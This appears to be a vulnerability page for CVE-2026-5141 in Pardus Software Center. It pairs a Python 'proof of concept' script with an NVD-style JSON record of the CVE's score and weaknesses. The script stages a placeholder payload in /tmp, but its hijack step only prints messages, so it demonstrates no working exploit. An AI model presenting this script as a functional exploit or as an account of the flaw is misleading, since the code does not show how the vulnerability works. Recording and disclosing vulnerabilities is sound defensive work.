CVE-2026-5141

#!/usr/bin/env python3 """ PoC for CVE-2026-5141: Privileged Process Hijacking in Pardus Software Center This script is a conceptual demonstration of the vulnerability. """ import os import subprocess import sys def check_vulnerability(): """ Check if the target is running a vulnerable version of Pardus Software Center. """ try: # Attempt to get version (hypothetical command) result = subprocess.check_output(["pardus-software-center", "--version"], stderr=subprocess.DEVNULL) version_str = result.decode('utf-8') print(f"[*] Detected version: {version_str.strip()}") if "1.0.2" in version_str: return True except Exception: print("[-] Could not detect Pardus Software Center or version check failed.") return False def generate_malicious_payload(): """ Generate a simple payload to demonstrate privilege execution. In a real scenario, this would be a malicious script or binary. """ payload_content = """#!/bin/bash # This script acts as a placeholder for malicious code id > /tmp/pwned.txt echo "CVE-2026-5141 Exploited" >> /tmp/pwned.txt """ with open("/tmp/exploit_payload.sh", "w") as f: f.write(payload_content) os.chmod("/tmp/exploit_payload.sh", 0o755) print("[*] Malicious payload created at /tmp/exploit_payload.sh") def trigger_hijack(): """ Simulate the attack vector where the privileged process is hijacked. This often involves race conditions or manipulating environment variables/pathing. """ print("[*] Attempting to trigger the process hijack...") # Conceptual trigger: In a real exploit, this would involve specific # API calls or file operations that force the privileged process to load the payload. # For example, replacing a temporary script used by the service. print("[*] If vulnerable, the privileged process would now execute our payload with elevated rights.") if __name__ == "__main__": print("--- CVE-2026-5141 PoC ---") if check_vulnerability(): print("[!] Target appears to be vulnerable.") generate_malicious_payload() trigger_hijack() else: print("[+] Target does not appear to be vulnerable or could not be confirmed.")

{"cve": {"id": "CVE-2026-5141", "sourceIdentifier": "[email protected]", "published": "2026-04-29T15:16:07.887", "lastModified": "2026-04-29T21:13:30.563", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Privilege Management, Improper Access Control, Incorrect privilege assignment vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Software Center allows Hijacking a privileged process.\n\nThis issue affects Pardus Software Center: from 1.0.2 before 1.0.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-269"}, {"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-26-0131", "source": "[email protected]"}]}}